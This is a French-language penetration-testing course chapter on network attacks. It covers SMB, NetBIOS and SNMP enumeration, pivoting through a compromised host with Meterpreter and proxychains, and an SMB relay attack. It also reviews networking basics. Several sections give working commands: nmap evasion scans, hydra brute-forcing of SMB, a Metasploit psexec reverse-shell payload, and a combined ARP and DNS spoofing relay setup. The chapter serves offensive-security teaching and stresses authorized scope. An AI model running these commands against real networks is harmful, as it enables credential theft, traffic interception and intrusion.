Chapitre 7 : Network-Based Attacks

Network

Attaques Ciblant le Réseau

Ce chapitre se concentre sur les attaques dont la réussite dépend de la position de l'attaquant sur le réseau. L'étudiant apprend à passer de l'énumération des protocoles exposés à l'exploitation des mécanismes d'authentification, puis à utiliser un hôte compromis comme point de passage vers un réseau interne.

1. Énumération Réseau

SMB, NetBIOS et SNMP — extraire un maximum d'informations exploitables.

2. Pivoting

Utiliser un accès obtenu pour router du trafic vers un réseau interne via proxychains.

3. SMB Relay Attack

Intercepter et relayer une authentification SMB pour usurper un utilisateur légitime.

Objectifs pédagogiques

À la fin du chapitre

Le but n'est pas de mémoriser des commandes isolées, mais de comprendre comment une information réseau devient une piste d'attaque. À chaque étape, l'étudiant doit savoir ce qu'il cherche, pourquoi cette information est utile et comment elle influence l'étape suivante.

Énumérer

Identifier les hôtes, services, protocoles, comptes, partages et informations de configuration accessibles.

Exploiter

Relier une mauvaise configuration, une authentification faible ou un service exposé à une technique adaptée.

Pivoter

Utiliser un hôte compromis pour atteindre des ressources situées sur un réseau interne.

Fil conducteur

Découvrir → Énumérer → Identifier → Valider → Accéder → Étendre la visibilité → Documenter.

Rappel — Position réseau et évasion

Fondamentaux

Avant SMB, SNMP et le pivoting, il faut comprendre ce que signifie être visible depuis un réseau. Un port fermé, filtré ou inaccessible depuis le point d'origine ne représente pas nécessairement la même situation. Une machine compromise peut posséder une connectivité supplémentaire que l'attaquant ne possède pas directement.

Questions à se poser

  • Depuis quel segment les scans sont-ils lancés ?
  • Quels réseaux sont directement routables ?
  • Quels ports sont filtrés ?
  • La machine compromise possède-t-elle une interface vers un autre réseau ?

Techniques de reconnaissance

nmap -Pn -sA -p445,3389 @IP_cible
nmap -Pn -sS -sV -f --mtu 32 @IP_cible
nmap -Pn -sS -sV -D @IP_gateway -g 53 @IP_cible

Ces techniques modifient le trafic de reconnaissance et doivent rester dans le périmètre autorisé.

Énumération réseau — méthode

Méthodologie

L'énumération réseau va au-delà de la simple découverte d'un port. Pour chaque service, on cherche son rôle, sa version, son mécanisme d'authentification, les informations qu'il divulgue et les actions permises par un compte valide.

1. Identifier

Hôte, port, protocole, version et rôle.

2. Énumérer

Utilisateurs, partages, community strings et configuration.

3. Valider

Choisir une technique qui correspond réellement aux résultats.

Réflexe : chaque commande doit répondre à une question précise.

NetBIOS vs SMB — Concepts

NetBIOS / SMB

NetBIOS

  • API et ensemble de protocoles permettant à des applications sur différents ordinateurs de se trouver et communiquer sur un réseau local.
  • 3 services : Name Service (résolution de noms), Datagram Service (diffusion sans connexion), Session Service (connexion fiable).
  • Ports : 137 (Name), 138 (Datagram), 139 (Session), en UDP et TCP.

SMB (Server Message Block)

  • Protocole principal des réseaux Windows pour le partage de fichiers, d'imprimantes et la communication inter-processus (IPC).
  • Versions : SMB 1.0 (obsolète, faille historique), SMB 2.0/2.1 (Vista/2008), SMB 3.0+ (chiffrement, multicanal).
  • Ports : 445 en direct, 139 en passant par NetBIOS.

Énumération SMB & NetBIOS

Démo

Une première passe permet de déterminer si SMB est présent et quelles informations sont accessibles sans authentification. L'accès anonyme, lorsqu'il est autorisé, peut révéler des partages, des noms de machines ou des comptes.

Découverte

nbtscan @IP_reseau
nmap -sV -p139,445 @IP_cible
nmap -sV --script smb-protocols -p445 @IP_cible
nmap -sV --script smb-security-mode -p445 @IP_cible

Utilisateurs / partages

smbclient -L @IP_cible
nmap -p445 --script smb-enum-users @IP_cible

Les résultats servent à construire une liste d'utilisateurs et de ressources à examiner.

SMB — De l'énumération à l'accès

Exploitation

Lorsque l'énumération fournit des noms de comptes, ceux-ci peuvent être utilisés dans un scénario de validation d'authentification. Un accès SMB réussi ne signifie pas automatiquement que le compte est administrateur : les permissions doivent être vérifiées.

Validation

hydra -L users.txt \
-P /usr/share/metasploit-framework/data/wordlists/unix_password.txt \
@IP_cible smb

psexec.py utilisateur@@IP_cible

PsExec / Metasploit

use exploit/windows/smb/psexec
set RHOSTS @IP_cible
set SMBUser utilisateur
set SMBPass motdepasse
set payload windows/x64/meterpreter/reverse_tcp
run

La session dépend des droits du compte et de la configuration SMB.

Pivoting — Comprendre le changement de perspective

Pivoting

Le pivoting devient nécessaire lorsqu'une machine compromise possède une connectivité vers un réseau que la machine d'attaque ne peut pas atteindre directement. L'hôte compromis devient alors un point de transit pour les connexions destinées aux cibles internes.

Avant / après

Avant : seules les routes accessibles depuis l'attaquant sont visibles.

Après : un proxy ou une route permet d'utiliser la connectivité de la machine compromise.

Chaîne logique

Attaquant
   ↓
Machine compromise
   ↓
Réseau interne
   ↓
Cible inaccessible directement

Le pivot augmente la visibilité, mais ne donne pas automatiquement des privilèges sur les nouvelles machines.

Pivoting via Proxychains

Pivoting

Concept

  • Une fois un accès obtenu, on peut créer une route vers un sous-réseau interne autrement inaccessible (autoroute).
  • Un proxy SOCKS local, combiné à proxychains, permet ensuite de faire transiter des outils externes (comme Nmap) à travers la machine compromise.

Démo

# Depuis la session Meterpreter
run autoroute -s @IP_sousreseau
background

# Créer un proxy SOCKS
use auxiliary/server/socks_proxy
set version 4a
set SRVPORT 9050
run

# Dans un autre terminal
cat /etc/proxychains4.conf
proxychains nmap @IP_cible2 -sT -Pn -sV -p445

# Retour sur la session, exploration du partage distant
sessions
migrate -N explorer.exe
net view \\@IP_cible2
net use K: \\@IP_cible2\K$
dir K:

SNMP — Comprendre le protocole

SNMP

SNMP sert à superviser et gérer des équipements réseau. Lorsqu'un agent est exposé avec une community string faible ou par défaut, il peut divulguer des informations importantes sur l'équipement et son environnement.

Architecture

  • Manager : envoie les requêtes.
  • Agent : répond.
  • MIB : organise les données via des OID.

SNMPv1/v2 utilisent notamment des community strings ; SNMPv3 apporte des mécanismes d'authentification et de protection plus robustes.

Informations recherchées

  • Nom et description du système
  • Interfaces et adresses IP
  • Routes
  • Informations de configuration
  • Informations utilisateurs selon l'agent

Démo — Énumération SNMP

Démo SNMP

Commandes Pratiques

# Vérifier si le service SNMP est actif
nmap -sU -p161 @IP_cible

# Tester les community strings par défaut/faibles
nmap -sU -p161 --script=snmp-brute @IP_cible

# Interroger directement l'agent SNMP
snmpwalk -v 1 -c public @IP_cible

# Lancer l'ensemble des scripts NSE liés à SNMP
nmap -sU -sV -p161 --script=snmp-* @IP_cible > snmp_info

# Brute-force complémentaire sur un service associé (ex: SMB)
hydra -l administrator \
  -P /usr/share/metasploit-framework/data/wordlists/unix_password.txt \
  @IP_cible smb

SMB Relay — Comprendre le principe

SMB Relay

Le SMB Relay ne consiste pas à casser un hash NTLM. L'attaquant cherche à récupérer une tentative d'authentification et à la relayer vers un autre service qui accepte ce mécanisme. Le point essentiel est donc le contrôle du chemin d'authentification.

Chaîne d'attaque

  1. Provoquer ou intercepter une authentification.
  2. Recevoir le challenge/réponse NTLM.
  3. Relayer l'authentification vers la cible.
  4. Utiliser les droits réellement accordés.

Conditions

  • Le protocole et sa configuration doivent permettre le relais.
  • La signature SMB et d'autres protections peuvent bloquer certains scénarios.
  • La position réseau est déterminante.

Démo — SMB Relay Attack

Démo SMB Relay

Mise en Place (Multi-Terminal)

# Terminal 1 : préparer le relais Metasploit
msfconsole
use exploit/windows/smb/smb_relay
set srvhost @IP_attaquant
set lhost @IP_attaquant
set SMBHOST @IP_cible

# Terminal 2 : spoofing DNS
echo "@IP_attaquant *.domaine_cible" > dns
dnsspoof -i eth1 -f dns

# Terminal 3 & 4 : ARP spoofing bidirectionnel
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth1 -t @IP_cible @IP_gateway
arpspoof -i eth1 -t @IP_gateway @IP_cible

# Retour Terminal 1
exploit
# --> session Meterpreter via relais d'authentification

Point d'Attention

  • Cette attaque combine ARP spoofing + DNS spoofing : elle intercepte le trafic de tout le segment réseau, pas seulement celui de la cible.
  • Impact potentiellement large et facilement détectable par un IDS — à n'utiliser que dans le périmètre strict autorisé par le mandat.

Fondamentaux — Comment circule un paquet ?

Network Fundamentals

Avant d'attaquer un réseau, il faut comprendre ce que l'on observe. Un pentester doit savoir distinguer une adresse IP, une adresse MAC, un port, un protocole et un service. Cette distinction permet de passer d'une observation réseau à une hypothèse exploitable.

Couche réseau

IP identifie logiquement une interface et permet le routage entre réseaux.

Couche transport

TCP et UDP utilisent des ports pour distinguer les communications d'une même machine.

Couche application

SMB, DNS, SNMP, HTTP, SSH, etc. définissent ce que le service fait réellement.

Réflexe pentest : IP → port → protocole → version → fonction → exposition → impact potentiel.

IPv4, masque et sous-réseaux

Adressage

Le subnetting est essentiel pour comprendre la portée d'un scan et identifier les réseaux accessibles. Une adresse IPv4 comporte 32 bits ; le préfixe CIDR indique combien de bits représentent le réseau.

Exemple : 192.168.10.0/24

Masque : 255.255.255.0
Réseau : 192.168.10.0
Hôtes usuels : 192.168.10.1–254
Broadcast : 192.168.10.255

Pourquoi c'est utile ?

/24 donne un réseau de 256 adresses. /16 couvre un espace beaucoup plus large. Le préfixe permet d'estimer la surface à découvrir et d'identifier les routes vers d'autres segments.

Commandes utiles : ip addr · ip route · ip neigh · ipcalc 192.168.10.20/24

TCP vs UDP — Pourquoi les ports comptent

Transport

Un port n'est pas une vulnérabilité : c'est un point logique utilisé par un protocole de transport. Le rôle du pentester est d'identifier quel service écoute derrière ce port et comment il se comporte.

TCP

Connexion orientée état, avec établissement de session via le three-way handshake : SYN → SYN/ACK → ACK. Adapté notamment à HTTP(S), SSH et SMB.

UDP

Sans établissement de connexion TCP. Faible overhead et comportement différent au scan. DNS et SNMP utilisent notamment UDP.

Port ouvert→Service→Version→Énumération→Hypothèse
Exemple : nmap -sS -sV -p22,53,80,139,445 @IP_cible permet de corréler port, protocole et service.

ARP — Le pont entre IP et MAC

LAN

Sur un réseau IPv4 local, une machine connaît une IP mais doit obtenir l'adresse MAC correspondante pour envoyer une trame Ethernet. ARP réalise cette résolution.

IP cible→ARP Request→ARP Reply→MAC connue→Trame Ethernet

Observation

ip neigh affiche le voisinage ARP connu par Linux. arp -a permet également d'observer le cache sur certains systèmes.

Sécurité

La confiance accordée aux réponses ARP explique pourquoi l'ARP spoofing peut permettre une attaque de type Man-in-the-Middle sur un LAN.

Lien avec SMB Relay : dans un scénario autorisé, la connaissance du fonctionnement ARP aide à comprendre comment le trafic local peut être redirigé vers une machine contrôlée.

DNS — Résoudre un nom en infrastructure

Services réseau

DNS traduit des noms en informations réseau. En pentest, il permet de découvrir des hôtes, des services et parfois une architecture interne lorsque la configuration divulgue trop d'informations.

A

Nom d'hôte → adresse IPv4.

AAAA

Nom d'hôte → adresse IPv6.

NS / MX / TXT

Serveurs DNS, messagerie et informations textuelles de configuration.

Commandes : dig target.local · dig NS target.local · dig MX target.local · host target.local

Routage, passerelle et pivoting

Routing

Un hôte compromis n'est pas seulement une cible : il peut devenir un point d'accès vers un réseau que votre machine d'attaque ne peut pas joindre directement. Le routage détermine où envoyer les paquets.

Route locale

Le système connaît les réseaux directement connectés.

Default gateway

Les destinations inconnues sont envoyées vers la passerelle par défaut.

Pivot

Une machine intermédiaire relaie le trafic vers un autre segment.

À observer : ip route, les interfaces, les routes accessibles et les sous-réseaux révélés après compromission.

NAT, VLAN et segmentation réseau

Architecture

Deux notions expliquent souvent pourquoi une machine peut communiquer avec certaines adresses mais pas avec d'autres : le NAT et la segmentation. Le réseau visible depuis l'extérieur n'est pas nécessairement le réseau réellement présent derrière la passerelle.

NAT

Une passerelle traduit des adresses, souvent entre réseau privé et Internet. Cela modifie la visibilité des hôtes internes depuis l'extérieur.

VLAN

Un VLAN sépare logiquement des domaines de niveau 2. Deux machines peuvent être physiquement proches tout en étant dans des segments différents.

Conséquence pentest : une absence de réponse ne signifie pas nécessairement que l'hôte n'existe pas. Firewall, ACL, VLAN, routage ou NAT peuvent expliquer le comportement.

ICMP — Tester la connectivité sans confondre disponibilité et accessibilité

Discovery

ICMP est utilisé notamment par ping, mais son blocage ne signifie pas qu'un hôte est éteint. Les contrôles réseau peuvent filtrer ICMP tout en autorisant TCP ou UDP.

Test classique

ping @IP_cible
Permet de tester une réponse ICMP Echo lorsque celle-ci est autorisée.

Pourquoi Nmap utilise -Pn ?

nmap -Pn @IP_cible demande à Nmap de considérer l'hôte comme accessible et de poursuivre le scan sans dépendre de la découverte ICMP.

Interprétation : Host Down, Filtered et Closed ne décrivent pas la même situation. Toujours distinguer absence de réponse, filtrage et port fermé.

Wireshark — Lire un échange réseau

Analyse

L'analyse de paquets permet de comprendre ce que les outils de scan ne montrent pas toujours : qui parle à qui, sur quel port, avec quel protocole et dans quel ordre.

Filtrer par hôte

ip.addr == 192.168.1.10

Filtrer par port

tcp.port == 445

Filtrer par protocole

dns · arp · icmp · smb2

Méthode : identifier les endpoints → suivre le flux → reconnaître le protocole → observer l'authentification → rechercher les informations divulguées ou les anomalies.

Notions réseau à retenir pour le pentest

Cheatsheet

Adressage

IPv4 · CIDR · subnet · broadcast · gateway · MAC

Transport

TCP · UDP · ports · handshake · état ouvert/fermé/filtré

Infrastructure

ARP · DNS · DHCP · NAT · VLAN · routage

Discovery

ICMP · Nmap · NetBIOS · SMB · SNMP

Accès

Authentification · partages · credentials · pivoting

Analyse

Wireshark · flux · protocoles · métadonnées

Question centrale : « Où suis-je sur le réseau, quelles machines puis-je atteindre, quels services sont exposés et que révèlent-ils ? »

Arbre de décision — Network-Based Attacks

Méthodologie

L'arbre permet de choisir la prochaine action à partir du résultat précédent. SMB, SNMP, pivoting et SMB Relay répondent à des situations différentes et ne doivent pas être exécutés comme une checklist aveugle.

Ports / Hôtes→SMB / NetBIOS→Comptes / Partages
SNMP→Community→Informations réseau
Hôte compromis→Route interne→Proxychains→Cibles internes
NTLM→Interception→Relais→Accès selon privilèges

Synthèse finale — Network-Based Attacks

Fin du chapitre

La logique du chapitre suit une progression : identifier les services réseau, approfondir leur énumération, obtenir ou valider un accès, puis utiliser la position obtenue pour atteindre d'autres ressources.

L'étudiant doit être capable d'expliquer pourquoi SMB, NetBIOS et SNMP sont intéressants, quand un pivot est nécessaire et en quoi un SMB Relay diffère d'une attaque visant directement un mot de passe.

Checklist de validation

  • Énumération SMB/NetBIOS : ports, versions, utilisateurs et partages.
  • Énumération SNMP : community strings et informations exposées.
  • Pivoting : routes accessibles depuis l'hôte compromis et proxy adapté.
  • SMB Relay : prérequis d'authentification et protections à vérifier.
  • Interprétation : relier chaque résultat à une hypothèse et documenter les preuves.
  • Périmètre : toute interception ou manipulation du trafic doit être explicitement autorisée.